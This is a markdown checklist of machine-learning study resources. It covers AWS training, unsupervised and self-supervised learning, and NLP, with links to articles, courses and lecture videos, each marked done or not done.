- [X] [AWS: Introduction to Amazon Translate](https://www.aws.training/learningobject/video?id=19442)
- [X] [AWS: Introduction to AWS Marketplace - Machine Learning Category](https://www.aws.training/learningobject/video?id=27165)
- [X] [AWS: Machine Learning Exam Basics](https://www.aws.training/learningobject/curriculum?id=27271)
- [X] [AWS: Neural Machine Translation with Sockeye](https://www.aws.training/learningobject/video?id=27236)
- [X] [AWS: Process Model: CRISP-DM on the AWS Stack](https://www.aws.training/learningobject/wbc?id=27200)
- [X] [AWS: Satellite Image Classification in SageMaker](https://www.aws.training/learningobject/video?id=27231)
- [X] [Datacamp: Introduction to AWS Boto in Python](https://www.datacamp.com/courses/introduction-to-aws-boto-in-python)
- [X] [edX: Amazon SageMaker: Simplifying Machine Learning Application Development](https://www.edx.org/course/simplifying-machine-learning-app-development-with-amazon-sagemaker)
### Be able to apply unsupervised learning algorithms
- [ ] [Article: Decrypt Generative Adversarial Networks (GAN)](https://theaisummer.com/Generative_Artificial_Intelligence/)
- [ ] [Article: GANs in computer vision - Conditional image synthesis and 3D object generation](https://theaisummer.com/gan-computer-vision-object-generation/)
- [ ] [Article: GANs in computer vision - Improved training with Wasserstein distance, game theory control and progressively growing schemes](https://theaisummer.com/gan-computer-vision-incremental-training/)
- [ ] [Article: GANs in computer vision - Introduction to generative learning](https://theaisummer.com/gan-computer-vision/)
- [ ] [Article: GANs in computer vision - self-supervised adversarial training and high-resolution image synthesis with style incorporation](https://theaisummer.com/gan-computer-vision-style-gan/)
- [ ] [Article: GANs in computer vision - semantic image synthesis and learning a generative model from a single image](https://theaisummer.com/gan-computer-vision-semantic-synthesis/)
- [X] [Article: Paper Summary: DeViSE: A Deep Visual-Semantic Embedding Model](https://medium.com/@hyponymous/paper-summary-devise-a-deep-visual-semantic-embedding-model-c5f308d5ff98)
- [ ] [Article: Contrastive Self-Supervised Learning](https://ankeshanand.com/blog/2020/01/26/contrative-self-supervised-learning.html)
- [ ] [Article: From Autoencoder to Beta-VAE](https://lilianweng.github.io/lil-log/2018/08/12/from-autoencoder-to-beta-vae.html)
- [ ] [Article: Self-Supervised Representation Learning](https://lilianweng.github.io/lil-log/2019/11/10/self-supervised-learning.html)
- [ ] [Article: Self-supervised learning: The dark matter of intelligence](https://ai.facebook.com/blog/self-supervised-learning-the-dark-matter-of-intelligence)
- [ ] [Article: Understanding self-supervised and contrastive learning with "Bootstrap Your Own Latent" (BYOL)](https://untitled-ai.github.io/understanding-self-supervised-contrastive-learning.html)
- [ ] [Article: How to Generate Images using Autoencoders](https://theaisummer.com/Autoencoder/)
- [ ] [Article: Introduction to autoencoders](https://www.jeremyjordan.me/autoencoders/)
- [ ] [Article: Soft clustering with Gaussian mixed models (EM)](https://www.jeremyjordan.me/gaussian-mixed-models/)
- [ ] [Article: Variational autoencoders](https://www.jeremyjordan.me/variational-autoencoders/)
- [ ] [Article: Build a simple Image Retrieval System with an Autoencoder](https://nathanhubens.github.io/posts/deep%20learning/2018/08/24/image-retrieval.html)
- [ ] [Article: Deep Inside Autoencoders](https://nathanhubens.github.io/posts/deep%20learning/2018/02/25/deep-inside-autoencoders.html)
- [X] [Article: An overview of proxy-label approaches for semi-supervised learning](https://ruder.io/semi-supervised/)
- [X] [Article: From Research to Production with Deep Semi-Supervised Learning](https://towardsdatascience.com/from-research-to-production-with-deep-semi-supervised-learning-7caaedc39093)
- [ ] [Article: Affinity Propagation Algorithm Explained](https://towardsdatascience.com/unsupervised-machine-learning-affinity-propagation-algorithm-explained-d1fef85f22c8)
- [ ] [Article: Algorithm Breakdown: Affinity Propagation](https://www.ritchievink.com/blog/2018/05/18/algorithm-breakdown-affinity-propagation/)
- [X] [Article: Create, Visualize and Interpret Customer Segments](https://www.maartengrootendorst.com/blog/customer/)
- [ ] [Article: A Framework For Contrastive Self-Supervised Learning And Designing A New Approach](https://towardsdatascience.com/a-framework-for-contrastive-self-supervised-learning-and-designing-a-new-approach-3caab5d29619)
- [ ] [Article: EfficientDet Meets Pytorch-Lightning](https://medium.com/@YassineAlouini/efficientdet-meets-pytroch-lightning-6f1dcf3b73bd)
- [ ] [Article: Principal components analysis (PCA)](https://www.jeremyjordan.me/principal-components-analysis/)
- [X] [Article: RecSys 2020 - Takeaways and Notable Papers](https://eugeneyan.com/writing/recsys2020/)
- [ ] [Article: Grouping data points with k-means clustering](https://www.jeremyjordan.me/grouping-data-points-with-k-means-clustering/)
- [ ] [Article: A gentle introduction to HDBSCAN and density-based clustering](https://towardsdatascience.com/a-gentle-introduction-to-hdbscan-and-density-based-clustering-5fd79329c1e8)
- [ ] [Article: Deepfakes: Face synthesis with GANs and Autoencoders](https://theaisummer.com/deepfakes/)
- [X] [Article: The 3 Deep Learning Frameworks For End-to-End Speech Recognition That Power Your Devices](https://heartbeat.comet.ml/the-3-deep-learning-frameworks-for-end-to-end-speech-recognition-that-power-your-devices-37b891ddc380)
- [ ] [Article: Unsupervised Learning of Visual Features by Contrasting Cluster Assignments](https://medium.com/@nainaakash012/unsupervised-learning-of-visual-features-by-contrasting-cluster-assignments-fbedc8b9c3db)
- [ ] [Berkeley: Deep Unsupervised Learning Spring 2020](https://www.youtube.com/playlist?list=PLwRJQ4m4UJjPiJP3691u-qWwPGVKzSlNP)
- [X] [L1 Introduction -- CS294-158-SP20 Deep Unsupervised Learning -- UC Berkeley, Spring 2020](https://www.youtube.com/watch?v=V9Roouqfu-M) `1:10:02`
- [X] [L2 Autoregressive Models -- CS294-158-SP20 Deep Unsupervised Learning -- UC Berkeley, Spring 2020](https://www.youtube.com/watch?v=iyEOk8KCRUw) `2:27:23`
- [ ] [L3 Flow Models -- CS294-158-SP20 Deep Unsupervised Learning -- UC Berkeley -- Spring 2020](https://www.youtube.com/watch?v=JBb5sSC0JoY) `1:56:53`
- [ ] [L4 Latent Variable Models (VAE) -- CS294-158-SP20 Deep Unsupervised Learning -- UC Berkeley](https://www.youtube.com/watch?v=FMuvUZXMzKM) `2:19:33`
- [ ] [Lecture 5 Implicit Models -- GANs Part I --- UC Berkeley, Spring 2020](https://www.youtube.com/watch?v=1CT-kxjYbFU) `2:32:32`
- [ ] [Lecture 6 Implicit Models / GANs part II --- CS294-158-SP20 Deep Unsupervised Learning -- Berkeley](https://www.youtube.com/watch?v=0W1dixJfKL4) `2:09:14`
- [X] [Lecture 7 Self-Supervised Learning -- UC Berkeley Spring 2020 - CS294-158 Deep Unsupervised Learning](https://www.youtube.com/watch?v=dMUes74-nYY) `2:20:41`
- [ ] [L8 Round-up of Strengths and Weaknesses of Unsupervised Learning Methods -- UC Berkeley SP20](https://www.youtube.com/watch?v=1sJuWg5dULg) `0:41:51`
- [X] [L9 Semi-Supervised Learning and Unsupervised Distribution Alignment -- CS294-158-SP20 UC Berkeley](https://www.youtube.com/watch?v=PXOhi6m09bA) `2:16:00`
- [ ] [L10 Compression -- UC Berkeley, Spring 2020, CS294-158 Deep Unsupervised Learning](https://www.youtube.com/watch?v=pPyOlGvWoXA) `3:09:49`
- [X] [L11 Language Models -- guest instructor: Alec Radford (OpenAI) --- Deep Unsupervised Learning SP20](https://www.youtube.com/watch?v=BnpB3GrpsfM) `2:38:19`
- [ ] [L12 Representation Learning for Reinforcement Learning --- CS294-158 UC Berkeley Spring 2020](https://www.youtube.com/watch?v=YqvhDPd1UEw) `2:01:56`
- [ ] [Datacamp: Customer Segmentation in Python](https://www.datacamp.com/courses/customer-segmentation-in-python)
- [X] [Datacamp: Unsupervised Learning in Python](https://www.datacamp.com/courses/unsupervised-learning-in-python)
- [X] [Deck: Demystifying Self-Supervised Learning for Visual Recognition](https://docs.google.com/presentation/d/14CjZoX1V--XrIKAlpCFpIsHPjtV_P-OxObRdR5vVljY/edit#slide=id.g94fcc32373_0_58)
- [X] [DeepMind: Inefficient Data Efficiency](https://www.facebook.com/wdeepvision2020/videos/893497114486588/)
- [ ] [Google: Clustering](https://developers.google.com/machine-learning/clustering)
- [X] [Udacity: Segmentation and Clustering](https://www.udacity.com/course/segmentation-and-clustering--ud981)
- [X] [Wandb: Unsupervised Visual Representation Learning with SwAV](https://app.wandb.ai/authors/swav-tf/reports/Unsupervised-Visual-Representation-Learning-with-SwAV--VmlldzoyMjg3Mzg)
- [X] [Youtube: Applied ML 2020 - 14 - Clustering and Mixture Models](https://www.youtube.com/watch?v=HFioJ62H7dM) `1:26:33`
- [ ] [Youtube: Applied ML 2020 - 13 - Dimensionality reduction](https://www.youtube.com/watch?v=CrFOGyU32PM) `1:30:34`
- [X] [Youtube: BYOL: Bootstrap Your Own Latent: A New Approach to Self-Supervised Learning (Paper Explained)](https://www.youtube.com/watch?v=YPfUiOMYOEE&feature=youtu.be)
- [X] [Youtube: A critical analysis of self-supervision, or what we can learn from a single image (Paper Explained)](https://youtu.be/l5he9JNJqHA)
- [X] [Youtube: Week 10 – Lecture: Self-supervised learning (SSL) in computer vision (CV)](https://www.youtube.com/watch?v=0KeR6i1_56g&feature=youtu.be)
- [X] [Youtube: CVPR 2020 Tutorial: Towards Annotation-Efficient Learning](https://youtu.be/MaGudzppu3I)
- [X] [Youtube: Yuki Asano | Self-Supervision | Self-Labelling | Labelling Unlabelled videos | CV | CTDS.Show #81](https://youtu.be/LPdbnasJ9wI)
- [X] [Youtube: Contrastive Clustering with SwAV](https://youtu.be/jCg97EAVsy8)
- [ ] [Youtube: Variational Autoencoders - EXPLAINED!](https://www.youtube.com/watch?v=fcvYpzHmhvA) `0:17:36`
- [X] [Youtube: OptaProAnalyticsForum– Learning to watch football: Self-supervised representations for tracking data](https://youtu.be/H1iho17lnoI)
- [X] [Youtube: Can a Neural Net tell if an image is mirrored? – Visual Chirality](https://youtu.be/rbg1Mdo2LZM)
- [X] [Youtube: Deep InfoMax: Learning deep representations by mutual information estimation and maximization](https://www.youtube.com/watch?v=o1HIkn8LEsw)
- [ ] [Deep Learning Lecture Summer 2020](https://www.youtube.com/playlist?list=PLpOGQvPCDQzvgpD3S0vTy7bJe2pf_yJFj)
- [ ] [Deep Learning: Unsupervised Learning - Part 1](https://www.youtube.com/watch?v=aoOE4bJxybA&list=PLpOGQvPCDQzvgpD3S0vTy7bJe2pf_yJFj&index=47&t=0s)
- [ ] [Deep Learning: Unsupervised Learning - Part 2](https://www.youtube.com/watch?v=GpAHm7dvP_k&list=PLpOGQvPCDQzvgpD3S0vTy7bJe2pf_yJFj&index=48&t=0s)
- [ ] [Deep Learning: Unsupervised Learning - Part 3](https://www.youtube.com/watch?v=fXO1fOXnOTI&list=PLpOGQvPCDQzvgpD3S0vTy7bJe2pf_yJFj&index=49&t=0s)
- [ ] [Deep Learning: Unsupervised Learning - Part 4](https://www.youtube.com/watch?v=K27a_doRoxw&list=PLpOGQvPCDQzvgpD3S0vTy7bJe2pf_yJFj&index=50&t=0s)
- [ ] [Deep Learning: Unsupervised Learning - Part 5](https://www.youtube.com/watch?v=4Ot22wkEdfU&list=PLpOGQvPCDQzvgpD3S0vTy7bJe2pf_yJFj&index=51&t=0s)
- [ ] [Deep Learning: Weakly and Self-Supervised Learning - Part 1](https://www.youtube.com/watch?v=Vj_JeSZG1EA&list=PLpOGQvPCDQzvgpD3S0vTy7bJe2pf_yJFj&index=57&t=0s)
- [ ] [Deep Learning: Weakly and Self-Supervised Learning - Part 2](https://www.youtube.com/watch?v=KjcSfpLin7U&list=PLpOGQvPCDQzvgpD3S0vTy7bJe2pf_yJFj&index=58&t=0s)
- [ ] [Deep Learning: Weakly and Self-Supervised Learning - Part 3](https://www.youtube.com/watch?v=EqMwbP7Smxg&list=PLpOGQvPCDQzvgpD3S0vTy7bJe2pf_yJFj&index=59&t=0s)
- [ ] [Deep Learning: Weakly and Self-Supervised Learning - Part 4](https://www.youtube.com/watch?v=zIDdTstAqWU&list=PLpOGQvPCDQzvgpD3S0vTy7bJe2pf_yJFj&index=60&t=0s)
- [X] [ECCV 2020: New Frontiers for Learning with Limited Labels or Data](https://nvlabs.github.io/eccv2020-limited-labels-data-tutorial/)
- [X] [Introduction to New Frontiers on Learning with Limited Labels or Data](https://youtu.be/lHsLUYk80z4)
- [X] [Self-Supervised Part and Viewpoint Discovery from Image Collections](https://youtu.be/5kzU6NkvGX4)
- [X] [Learning Visual Correspondences across Instances and Video Frames](https://youtu.be/_Sug0ICzKlk)
- [X] [Limitless Labels in a Labelless World: Weak Supervision with Noisy Labels](https://youtu.be/UtxQkIoei0o)
- [X] [Youtube: Self-Supervised Learning - What is Next? - Workshop at ECCV 2020, August 28th](https://www.youtube.com/playlist?list=PL53R9Jy9Cc0zdv9OqvJ5YsZH2-AMKo9gM)
- [X] [Next Challenges for Self-Supervised Learning - Aäron van den Oord](https://www.youtube.com/watch?v=jJozjCG8Cqs) `0:20:13`
- [X] [Perspectives on Unsupervised Representation Learning - Paolo Favaro](https://www.youtube.com/watch?v=APwHDZZcLuY) `0:42:41`
- [X] [Learning and Transferring Visual Representations with Few Labels - Carl Doersch](https://www.youtube.com/watch?v=RWCc0nZOSBw) `0:32:53`
- [X] [Self-Supervision as a Path to a Post-Dataset Era - Alexei Alyosha Efros](https://www.youtube.com/watch?v=iTbfEXFwDJc) `0:38:06`
- [X] [Youtube: Marco Cuturi - A Primer on Optimal Transport](https://youtu.be/6iR1E6t1MMQ)
- [X] [Youtube: Sebastian Ruder: Neural Semi-supervised Learning under Domain Shift](https://www.youtube.com/watch?v=tpAr5-Y4JxU)
- [X] [Youtube: Clustering Algorithms](https://www.youtube.com/playlist?list=PLBv09BD7ez_6lYVoZ1RzVcOPIT5Lfjo0Y)
### Be able to implement NLP models
- [X] [Article: Fixing common Unicode mistakes with Python – after they’ve been made](http://blog.conceptnet.io/posts/2012/fixing-common-unicode-mistakes-with-python-after-theyve-been-made/)
- [ ] [Article: 10 Popular Keyword Extraction Algorithms in Natural Language Processing](https://medium.com/mlearning-ai/10-popular-keyword-extraction-algorithms-in-natural-language-processing-8975ada5750c)
- [ ] [Article: Deconstructing BERT](https://towardsdatascience.com/deconstructing-bert-reveals-clues-to-its-state-of-art-performance-in-nlp-tasks-76a7e828c0f1)
- [ ] [Article: How To Create Data Products That Are Magical Using Sequence-to-Sequence Models](https://towardsdatascience.com/how-to-create-data-products-that-are-magical-using-sequence-to-sequence-models-703f86a231f8)
- [ ] [Article: Why Rasa uses Sparse Layers in Transformers](https://blog.rasa.com/why-rasa-uses-sparse-layers-in-transformers/)
- [ ] [Article: Semantic Search On Documents](https://pakodas.substack.com/p/semantic-search-on-documents)
- [ ] [Article: Locality-sensitive Hashing and Singular to Plural Noun Conversion](https://towardsdatascience.com/locality-sensitive-hashing-and-singular-to-plural-noun-conversion-470a885d1331)
- [X] [Article: Build A Keyword Extraction API with Spacy, Flask, and FuzzyWuzzy](https://towardsdatascience.com/build-a-keyword-extraction-api-with-spacy-flask-and-fuzzywuzzy-4909d7ffc105)
- [ ] [Article: What is Hidden in the Hidden Markov Model?](https://medium.com/acing-ai/what-is-hidden-in-the-hidden-markov-models-eee7bab45ac3)
- [ ] [Article: Unsupervised NER using BERT](https://towardsdatascience.com/unsupervised-ner-using-bert-2d7af5f90b8a)
- [ ] [Article: Unsupervised creation of interpretable sentence representations](https://towardsdatascience.com/unsupervised-creation-of-interpretable-sentence-representations-851e74921cf9)
- [ ] [Article: Unsupervised synonym harvesting](https://towardsdatascience.com/unsupervised-synonym-harvesting-d592eaaf3c15)
- [ ] [Article: Zero shot NER using RoBERTA](https://krishansubudhi.github.io/deeplearning/2020/06/25/ROBERTA-zeroshot-NER.html)
- [X] [Article: Maximizing BERT model performance](https://towardsdatascience.com/maximizing-bert-model-performance-539c762132ab)
- [X] [Article: Swiss army knife for unsupervised task solving](https://towardsdatascience.com/swiss-army-knife-for-unsupervised-task-solving-26f9acf7c023)
- [X] [Article: 10 Exciting Ideas of 2018 in NLP](https://ruder.io/10-exciting-ideas-of-2018-in-nlp/)
- [ ] [Article: 74 Summaries of Machine Learning and NLP Research](http://www.marekrei.com/blog/74-summaries-of-machine-learning-and-nlp-research/)
- [X] [Article: Advance BERT model via transferring knowledge from Cross-Encoders to Bi-Encoders](https://towardsdatascience.com/advance-nlp-model-via-transferring-knowledge-from-cross-encoders-to-bi-encoders-3e0fc564f554)
- [ ] [Article: Learning to select data for transfer learning](https://ruder.io/learning-select-data/)
- [ ] [Article: T5 — a model that explores the limits of transfer learning](https://towardsdatascience.com/t5-a-model-that-explores-the-limits-of-transfer-learning-fb29844890b7)
- [ ] [Article: The State of Transfer Learning in NLP](https://ruder.io/state-of-transfer-learning-in-nlp/)
- [X] [Article: Haystack: The State of Search in 2021](https://medium.com/deepset-ai/haystack-the-state-of-search-in-2021-7388ecb15dfb)
- [X] [Article: How to build a State-of-the-Art Conversational AI with Transfer Learning](https://medium.com/huggingface/how-to-build-a-state-of-the-art-conversational-ai-with-transfer-learning-2d818ac26313)
- [ ] [Article: Commonsense Reasoning for Natural Language Processing](http://veredshwartz.blogspot.com/2021/01/commonsense-reasoning-for-natural.html)
- [ ] [Article: Language Models](http://veredshwartz.blogspot.com/2015/09/language-models.html)
- [ ] [Article: Paraphrasing](http://veredshwartz.blogspot.com/2017/08/paraphrasing.html)
- [ ] [Article: Poor man’s GPT-3: Few shot text generation with T5 Transformer](https://towardsdatascience.com/poor-mans-gpt-3-few-shot-text-generation-with-t5-transformer-51f1b01f843e)
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- [X] [Article: How to Write a Spelling Corrector](https://norvig.com/spell-correct.html)
- [X] [Article: Spellchecking by computer](https://www.dcs.bbk.ac.uk/~roger/spellchecking.html)
- [X] [Article: A Spellchecker Used to Be a Major Feat of Software Engineering](https://prog21.dadgum.com/29.html)
- [X] [Article: 1000x Faster Spelling Correction algorithm (2012)](https://wolfgarbe.medium.com/1000x-faster-spelling-correction-algorithm-2012-8701fcd87a5f)
- [X] [Article: The Pruning Radix Trie — a Radix Trie on steroids](https://towardsdatascience.com/the-pruning-radix-trie-a-radix-trie-on-steroids-412807f77abc)
- [X] [Article: Text Data Cleanup - Dynamic Embedding Visualisation](https://www.ntentional.com/nlp/visualization/bokeh/clustering/2020/06/29/Text-Cleaning-With-Clustering.html)
- [ ] [Article: Rotary Embeddings: A Relative Revolution](https://blog.eleuther.ai/rotary-embeddings/)
- [ ] [Article: Using embeddings to help find similar restaurants in Search](https://bytes.swiggy.com/using-embeddings-to-help-find-similar-restaurants-in-search-1d1417dff304)
- [ ] [Article: Evolution of and experiments with feed ranking at Swiggy](https://bytes.swiggy.com/evolution-of-and-experiments-with-feed-ranking-at-swiggy-17204769e79f)
- [ ] [Article: Personalizing Swiggy POP Recommendations](https://bytes.swiggy.com/personalizing-swiggy-pop-recommendations-d434b6f555f9)
- [ ] [Article: Fan(s)tastic: Search for blazing-fast results](https://bytes.swiggy.com/fan-s-tastic-search-for-blazing-fast-results-46aa706313ef)
- [ ] [Article: Find My Food: Semantic Embeddings for Food Search Using Siamese Networks](https://bytes.swiggy.com/find-my-food-semantic-embeddings-for-food-search-using-siamese-networks-abb55be0b639)
- [ ] [Article: Learning To Rank Restaurants](https://bytes.swiggy.com/learning-to-rank-restaurants-c6a69ba4b330)
- [ ] [Article: Is Word Sense Disambiguation outdated?](https://annabreit.medium.com/is-word-sense-disambiguation-outdated-ef05a139576)
- [ ] [Article: Named-Entity evaluation metrics based on entity-level](http://www.davidsbatista.net/blog/2018/05/09/Named_Entity_Evaluation/)
- [ ] [Article: Comparison Of Ngram Fuzzy Matching Approaches](http://chappers.github.io/web%20micro%20log/2015/04/29/comparison-of-ngram-fuzzy-matching-approaches/)
- [ ] [Article: String similarity — the basic know your algorithms guide!](https://itnext.io/string-similarity-the-basic-know-your-algorithms-guide-3de3d7346227)
- [ ] [Article: Evolution of Word to Vector](https://medium.com/co-learning-lounge/nlp-word-embedding-tfidf-bert-word2vec-d7f04340af7f)
- [X] [Article: Unsupervised Auto-labeling of Websites](https://pincone.com/blog/unsupervised-auto-labeling-of-websites)
- [X] [Article: A friendly introduction to Recurrent Neural Networks](https://www.youtube.com/watch?v=UNmqTiOnRfg)
- [X] [Article: Introducing Translatotron: An End-to-End Speech-to-Speech Translation Model](https://ai.googleblog.com/2019/05/introducing-translatotron-end-to-end.html)
- [ ] [Book: Embeddings in Natural Language Processing](http://josecamachocollados.com/book_embNLP_draft.pdf)
- [ ] [Book: Linguistic Fundamentals for Natural Language Processing: 100 Essentials from Morphology and Syntax](https://www.morganclaypool.com/doi/abs/10.2200/S00493ED1V01Y201303HLT020)
- [ ] [Coursera: Sequence Models](https://www.coursera.org/learn/nlp-sequence-models)
- [ ] [Coursera: Natural Language Processing in TensorFlow](https://www.coursera.org/learn/natural-language-processing-tensorflow)
- [X] [CMU: Low-resource NLP Bootcamp 2020](https://www.youtube.com/playlist?list=PL8PYTP1V4I8A1CpCzURXAUa6H4HO7PF2c)
- [X] [CMU Low resource NLP Bootcamp 2020 (1): NLP Tasks](https://www.youtube.com/watch?v=glIbcpay1-I) `1:46:06`
- [X] [CMU Low resource NLP Bootcamp 2020 (2): Linguistics - Phonology and Morphology](https://www.youtube.com/watch?v=KGOYGONxypA) `1:24:08`
- [X] [CMU Low resource NLP Bootcamp 2020 (3): Machine Translation](https://www.youtube.com/watch?v=SIZfkGzyVRc) `1:55:59`
- [X] [CMU Low resource NLP Bootcamp 2020 (4): Linguistics - Syntax and Morphosyntax](https://www.youtube.com/watch?v=j2vd3bTfrIA) `2:00:21`
- [X] [CMU Low resource NLP Bootcamp 2020 (5): Neural Representation Learning](https://www.youtube.com/watch?v=FgYg1ZH5Io8) `1:19:57`
- [X] [CMU Low resource NLP Bootcamp 2020 (6): Multilingual NLP](https://www.youtube.com/watch?v=wWE4db9XgHA) `2:04:34`
- [X] [CMU Low resource NLP Bootcamp 2020 (7): Speech Synthesis](https://www.youtube.com/watch?v=eDjtEsOvouM) `2:22:14`
- [ ] [CMU: Neural Nets for NLP 2021](https://www.youtube.com/playlist?list=PL8PYTP1V4I8AkaHEJ7lOOrlex-pcxS-XV)
- [X] [CMU Neural Nets for NLP 2021 (1): Introduction](https://www.youtube.com/watch?v=vnx6M7N-ggs) `1:22:40`
- [ ] [CMU Neural Nets for NLP 2021 (2): Language Modeling, Efficiency/Training Tricks](https://www.youtube.com/watch?v=ld5qts6LRj4) `0:58:24`
- [ ] [CMU Neural Nets for NLP 2021 (3): Building A Neural Network Toolkit for NLP, minnn](https://www.youtube.com/watch?v=krnzWH68lEE) `0:34:42`
- [X] [CMU Neural Nets for NLP 2021 (4): Efficiency Tricks for Neural Nets](https://www.youtube.com/watch?v=ZrDST4HfgAc) `0:43:28`
- [ ] [CMU Neural Nets for NLP 2021 (5): Recurrent Neural Networks](https://www.youtube.com/watch?v=5124LKzDaxo) `0:38:50`
- [ ] [CMU Neural Nets for NLP 2021 (6): Conditioned Generation](https://www.youtube.com/watch?v=3LdDiRM9xE8) `0:45:06`
- [ ] [CMU Neural Nets for NLP 2021 (7): Attention](https://www.youtube.com/watch?v=VvKRZXvDzM4) `0:38:23`
- [ ] [CMU Neural Nets for NLP 2021 (8): Distributional Semantics and Word Vectors](https://www.youtube.com/watch?v=A7o1zJ1eY9o) `0:42:44`
- [ ] [CMU Neural Nets for NLP 2021 (9): Sentence and Contextual Word Representations](https://www.youtube.com/watch?v=0UNNRxhnjHg) `0:50:53`
- [ ] [CMU Neural Nets for NLP 2021 (11): Structured Prediction with Local Independence Assumptions](https://www.youtube.com/watch?v=SId98zY-D9Y) `0:36:43`
- [ ] [CMU Neural Nets for NLP 2021 (10): Debugging Neural Nets (for NLP)](https://www.youtube.com/watch?v=KRQHdwpfj-4) `0:43:58`
- [X] [CMU Neural Nets for NLP 2021 (12): Model Interpretation](https://www.youtube.com/watch?v=DmDY5jfp8Qg) `0:28:52`
- [ ] [CMU Neural Nets for NLP 2021 (13): Generating Trees and Graphs](https://www.youtube.com/watch?v=XPDnfjrI6wY) `0:41:05`
- [ ] [CMU Neural Nets for NLP 2021 (14): Margin-based and Reinforcement Learning for Structured Prediction](https://www.youtube.com/watch?v=3YCb-F4pS4E) `0:47:20`
- [ ] [CMU Neural Nets for NLP 2021 (15): Sequence-to-sequence Pre-training](https://www.youtube.com/watch?v=0aet0r-DT_E) `0:27:22`
- [ ] [CMU Neural Nets for NLP 2021 (16): Machine Reading w/ Neural Nets](https://www.youtube.com/watch?v=x2pQYCdJkOc) `0:43:08`
- [ ] [CMU Neural Nets for NLP 2021 (17): Neural Nets + Knowledge Bases](https://www.youtube.com/watch?v=1JGFTpm1rdQ) `0:44:19`
- [ ] [CMU Neural Nets for NLP 2021 (18): Advanced Search Algorithms](https://www.youtube.com/watch?v=Gl6CPW6l6dA) `0:47:58`
- [ ] [CMU Neural Nets for NLP 2021 (19): Adversarial Methods](https://www.youtube.com/watch?v=C_S9gSm8NeY) `0:41:56`
- [ ] [CMU Neural Nets for NLP 2021 (20): Models w/ Latent Random Variables](https://www.youtube.com/watch?v=Z5knlb6MMOI) `0:41:06`
- [ ] [CMU Neural Nets for NLP 2021 (21): Multilingual Learning](https://www.youtube.com/watch?v=YUxHFYUyvmw) `0:33:10`
- [ ] [CMU Neural Nets for NLP 2021 (22): Bias in NLP](https://www.youtube.com/watch?v=fOlEKESnDv4) `0:32:44`
- [X] [CMU Neural Nets for NLP 2021 (23): Document-level Models](https://www.youtube.com/watch?v=e1CSUzP3XWs) `0:40:04`
- [X] [CMU Multilingual NLP 2020](http://demo.clab.cs.cmu.edu/11737fa20/)
- [X] [CMU Multilingual NLP 2020 (1): Introduction](https://www.youtube.com/watch?v=xeu7LKIT194) `1:17:29`
- [X] [CMU Multilingual NLP 2020 (2): Typology - The Space of Language](https://www.youtube.com/watch?v=4QilRTLxvCc) `0:37:13`
- [X] [CMU Multilingual NLP 2020 (3): Words, Parts of Speech, Morphology](https://www.youtube.com/watch?v=kaSCjn7oMDw) `0:38:58`
- [X] [CMU Multilingual NLP 2020 (4): Text Classification and Sequence Labeling](https://www.youtube.com/watch?v=aDvI8-iE0pM) `0:45:56`
- [X] [CMU Multilingual NLP 2020 (5): Advanced Text Classification/Labeling](https://www.youtube.com/watch?v=A6gluAlxPMg) `0:49:40`
- [X] [CMU Multilingual NLP 2020 (6): Translation, Evaluation, and Datasets](https://www.youtube.com/watch?v=PP5poDIzI8A) `0:46:17`
- [X] [CMU Multilingual NLP 2020 (7): Machine Translation/Sequence-to-sequence Models](https://www.youtube.com/watch?v=grVAzbNt4Kk) `0:43:51`
- [X] [CMU Multilingual NLP 2020 (8): Data Augmentation for Machine Translation](https://www.youtube.com/watch?v=RqNobMjb6IQ) `0:24:42`
- [X] [CMU Multilingual NLP 2020 (9): Language Contact and Similarity Across Languages](https://www.youtube.com/watch?v=brGaYr6bxoY) `0:30:25`
- [X] [CMU Multilingual NLP 2020 (10): Multilingual Training and Cross-lingual Transfer](https://www.youtube.com/watch?v=hB4x7a1SDX8) `0:39:58`
- [X] [CMU Multilingual NLP 2020 (11): Unsupervised Translation](https://www.youtube.com/watch?v=Z0e3pHZ96No) `0:51:17`
- [X] [CMU Multilingual NLP 2020 (12): Code Switching, Pidgins, and Creoles](https://www.youtube.com/watch?v=-jUvZNfkpGQ) `0:46:37`
- [X] [CMU Multilingual NLP 2020 (13): Speech](https://www.youtube.com/watch?v=cNaXzF8OKcQ) `0:41:16`
- [X] [CMU Multilingual NLP 2020 (14): Automatic Speech Recognition](https://www.youtube.com/watch?v=T2F5fyuk3Jk) `0:39:33`
- [X] [CMU Multilingual NLP 2020 (15): Low Resource ASR](https://www.youtube.com/watch?v=wSl61Fuk6R8) `0:43:38`
- [X] [CMU Multilingual NLP 2020 (16): Text to Speech](https://www.youtube.com/watch?v=dkGkw-Qxbdw) `0:39:00`
- [X] [CMU Multilingual NLP 2020 (17): Morphological Analysis and Inflection](https://www.youtube.com/watch?v=y9sVFrmGu0w) `0:45:22`
- [X] [CMU Multilingual NLP 2020 (18): Dependency Parsing](https://www.youtube.com/watch?v=dhlb2F1NyvE) `0:38:15`
- [X] [CMU Multilingual NLP 2020 (19): Data Annotation](https://www.youtube.com/watch?v=NP5f0TL_xLU) `0:53:08`
- [X] [CMU Multilingual NLP 2020 (20): Active Learning](https://www.youtube.com/watch?v=S4lYp3Si3NI) `0:28:37`
- [X] [CMU Multilingual NLP 2020 (21): Information Extraction](https://www.youtube.com/watch?v=uNIy-v2DUgc) `0:41:00`
- [X] [CMU Multilingual NLP 2020 (22): Multilingual NLP for Indigenous Languages](https://www.youtube.com/watch?v=wilwuzgLWdk) `1:21:58`
- [X] [CMU Multilingual NLP 2020 (23): Universal Translation at Scale](https://www.youtube.com/watch?v=mcl--ktVpjg) `1:27:33`
- [ ] [CMU Advanced NLP 2021](https://www.youtube.com/playlist?list=PL8PYTP1V4I8AYSXn_GKVgwXVluCT9chJ6)
- [ ] [CMU Advanced NLP 2021 (1): Introduction to NLP](https://www.youtube.com/watch?v=pGC-QiNbuwA) `1:08:39`
- [ ] [CMU Advanced NLP 2021 (2): Text Classification](https://www.youtube.com/watch?v=7tGbA5QqJUg) `1:16:56`
- [ ] [CMU Advanced NLP 2021 (3): Language Modeling and Neural Networks](https://www.youtube.com/watch?v=cH8DiwmJu-U) `1:16:37`
- [ ] [CMU Advanced NLP 2021 (4): Text Classification](https://www.youtube.com/watch?v=SmTl55AuUeQ) `1:14:19`
- [ ] [CMU Advanced NLP 2021 (5): Recurrent Neural Networks](https://www.youtube.com/watch?v=1aQwed1TTrY) `1:13:43`
- [ ] [CMU Advanced NLP 2021 (6): Conditional Generation](https://www.youtube.com/watch?v=vLgLUCXuERU) `1:17:56`
- [ ] [CS685: Advanced Natural Language Processing](https://www.youtube.com/playlist?list=PLWnsVgP6CzadmQX6qevbar3_vDBioWHJL)
